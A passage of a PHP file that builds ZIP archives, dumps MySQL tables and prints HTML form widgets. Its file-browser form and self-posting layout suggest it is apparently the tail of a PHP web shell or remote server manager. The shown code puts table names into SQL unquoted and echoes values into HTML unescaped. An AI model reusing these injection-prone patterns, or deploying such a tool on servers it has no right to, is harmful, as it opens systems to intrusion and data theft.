3662 $temp = fread($fp, filesize($this->options['sfx']));
3663 fclose($fp);
3664 $this->add_data($temp);
3665 $offset += strlen($temp);
3666 unset ($temp);
3667 }
3668 else
3669 $this->error[] = "Could not open sfx module from {$this->options['sfx']}.";
3670
3671 $pwd = getcwd();
3672 chdir($this->options['basedir']);
3673
3674 foreach ($this->files as $current)
3675 {
3676 if ($current['name'] == $this->options['name'])
3677 continue;
3678
3679 $timedate = explode(" ", date("Y n j G i s", $current['stat'][9]));
3680 $timedate = ($timedate[0] - 1980 << 25) | ($timedate[1] << 21) | ($timedate[2] << 16) | ($timedate[3] << 11) | ($timedate[4] << 5) | ($timedate[5]);
3681
3682 $block = pack("VvvvV", 0x04034b50, 0x000A, 0x0000, (isset($current['method']) || $this->options['method'] == 0) ? 0x0000 : 0x0008, $timedate);
3683
3684 if ($current['stat'][7] == 0 && $current['type'] == 5)
3685 {
3686 $block .= pack("VVVvv", 0x00000000, 0x00000000, 0x00000000, strlen($current['name2']) + 1, 0x0000);
3687 $block .= $current['name2'] . "/";
3688 $this->add_data($block);
3689 $central .= pack("VvvvvVVVVvvvvvVV", 0x02014b50, 0x0014, $this->options['method'] == 0 ? 0x0000 : 0x000A, 0x0000,
3690 (isset($current['method']) || $this->options['method'] == 0) ? 0x0000 : 0x0008, $timedate,
3691 0x00000000, 0x00000000, 0x00000000, strlen($current['name2']) + 1, 0x0000, 0x0000, 0x0000, 0x0000, $current['type'] == 5 ? 0x00000010 : 0x00000000, $offset);
3692 $central .= $current['name2'] . "/";
3693 $files++;
3694 $offset += (31 + strlen($current['name2']));
3695 }
3696 else if ($current['stat'][7] == 0)
3697 {
3698 $block .= pack("VVVvv", 0x00000000, 0x00000000, 0x00000000, strlen($current['name2']), 0x0000);
3699 $block .= $current['name2'];
3700 $this->add_data($block);
3701 $central .= pack("VvvvvVVVVvvvvvVV", 0x02014b50, 0x0014, $this->options['method'] == 0 ? 0x0000 : 0x000A, 0x0000,
3702 (isset($current['method']) || $this->options['method'] == 0) ? 0x0000 : 0x0008, $timedate,
3703 0x00000000, 0x00000000, 0x00000000, strlen($current['name2']), 0x0000, 0x0000, 0x0000, 0x0000, $current['type'] == 5 ? 0x00000010 : 0x00000000, $offset);
3704 $central .= $current['name2'];
3705 $files++;
3706 $offset += (30 + strlen($current['name2']));
3707 }
3708 else if ($fp = @fopen($current['name'], "rb"))
3709 {
3710 $temp = fread($fp, $current['stat'][7]);
3711 fclose($fp);
3712 $crc32 = crc32($temp);
3713 if (!isset($current['method']) && $this->options['method'] == 1)
3714 {
3715 $temp = gzcompress($temp, $this->options['level']);
3716 $size = strlen($temp) - 6;
3717 $temp = substr($temp, 2, $size);
3718 }
3719 else
3720 $size = strlen($temp);
3721 $block .= pack("VVVvv", $crc32, $size, $current['stat'][7], strlen($current['name2']), 0x0000);
3722 $block .= $current['name2'];
3723 $this->add_data($block);
3724 $this->add_data($temp);
3725 unset ($temp);
3726 $central .= pack("VvvvvVVVVvvvvvVV", 0x02014b50, 0x0014, $this->options['method'] == 0 ? 0x0000 : 0x000A, 0x0000,
3727 (isset($current['method']) || $this->options['method'] == 0) ? 0x0000 : 0x0008, $timedate,
3728 $crc32, $size, $current['stat'][7], strlen($current['name2']), 0x0000, 0x0000, 0x0000, 0x0000, 0x00000000, $offset);
3729 $central .= $current['name2'];
3730 $files++;
3731 $offset += (30 + strlen($current['name2']) + $size);
3732 }
3733 else
3734 $this->error[] = "Could not open file {$current['name']} for reading. It was not added.";
3735 }
3736
3737 $this->add_data($central);
3738
3739 $this->add_data(pack("VvvvvVVv", 0x06054b50, 0x0000, 0x0000, $files, $files, strlen($central), $offset,
3740 !empty ($this->options['comment']) ? strlen($this->options['comment']) : 0x0000));
3741
3742 if (!empty ($this->options['comment']))
3743 $this->add_data($this->options['comment']);
3744
3745 chdir($pwd);
3746
3747 return 1;
3748 }
3749}
3750
3751// 备份数æ®åº“
3752function sqldumptable($table, $fp=0) {
3753
3754 $tabledump = "DROP TABLE IF EXISTS `$table`;\n";
3755 $res = q('SHOW CREATE TABLE `'.$table.'`');
3756 $create = mysql_fetch_array($res);
3757 $tabledump .= $create[1].";\n\n";
3758
3759 if ($fp) {
3760 fwrite($fp,$tabledump);
3761 } else {
3762 echo $tabledump;
3763 }
3764 $tabledump = '';
3765 $rows = q("SELECT * FROM $table");
3766 while ($row = mysql_fetch_assoc($rows)) {
3767 foreach($row as $k=>$v) {
3768 $row[$k] = "'".@mysql_real_escape_string($v)."'";
3769 }
3770 $tabledump = 'INSERT INTO `'.$table.'` VALUES ('.implode(", ", $row).');'."\n";
3771 if ($fp) {
3772 fwrite($fp,$tabledump);
3773 } else {
3774 echo $tabledump;
3775 }
3776 }
3777 fr($rows);
3778}
3779
3780function ue($str){
3781 return urlencode($str);
3782}
3783
3784function p($str){
3785 echo $str."\n";
3786}
3787
3788function tbhead() {
3789 p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
3790}
3791function tbfoot(){
3792 p('</table>');
3793}
3794
3795function makehide($name,$value=''){
3796 p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
3797}
3798
3799function makeinput($arg = array()){
3800 $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
3801 $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
3802 !$arg['type'] && $arg['type'] = 'text';
3803 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
3804 $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
3805 if ($arg['newline']) {
3806 p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
3807 } else {
3808 p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
3809 }
3810}
3811
3812function makeselect($arg = array()){
3813 if ($arg['onchange']) {
3814 $onchange = 'onchange="'.$arg['onchange'].'"';
3815 }
3816 $arg['title'] = $arg['title'] ? $arg['title'] : '';
3817 if ($arg['newline']) p('<p>');
3818 p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
3819 if (is_array($arg['option'])) {
3820 if ($arg['nokey']) {
3821 foreach ($arg['option'] as $value) {
3822 if ($arg['selected']==$value) {
3823 p("<option value=\"$value\" selected>$value</option>");
3824 } else {
3825 p("<option value=\"$value\">$value</option>");
3826 }
3827 }
3828 } else {
3829 foreach ($arg['option'] as $key=>$value) {
3830 if ($arg['selected']==$key) {
3831 p("<option value=\"$key\" selected>$value</option>");
3832 } else {
3833 p("<option value=\"$key\">$value</option>");
3834 }
3835 }
3836 }
3837 }
3838 p("</select>");
3839 if ($arg['newline']) p('</p>');
3840}
3841function formhead($arg = array()) {
3842 global $self;
3843 !$arg['method'] && $arg['method'] = 'post';
3844 !$arg['action'] && $arg['action'] = $self;
3845 $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
3846 !$arg['name'] && $arg['name'] = 'form1';
3847 p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
3848 if ($arg['title']) {
3849 p('<h2>'.$arg['title'].' »</h2>');
3850 }
3851}
3852
3853function maketext($arg = array()){
3854 !$arg['cols'] && $arg['cols'] = 100;
3855 !$arg['rows'] && $arg['rows'] = 25;
3856 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
3857 p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
3858}
3859
3860function formfooter($name = ''){
3861 !$name && $name = 'submit';
3862 p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit"></p>');
3863 p('</form>');
3864}
3865
3866function goback(){
3867 global $self, $nowpath;
3868 p('<form action="'.$self.'" method="post"><input type="hidden" name="action" value="file" /><input type="hidden" name="dir" value="'.$nowpath.'" /><p><input class="bt" type="submit" value="Go back..."></p></form>');
3869}
3870
3871function formfoot(){
3872 p('</form>');
3873}
3874
3875function pr($s){
3876 echo "<pre>".print_r($s).'</pre>';
3877}
3878
3879
3880?>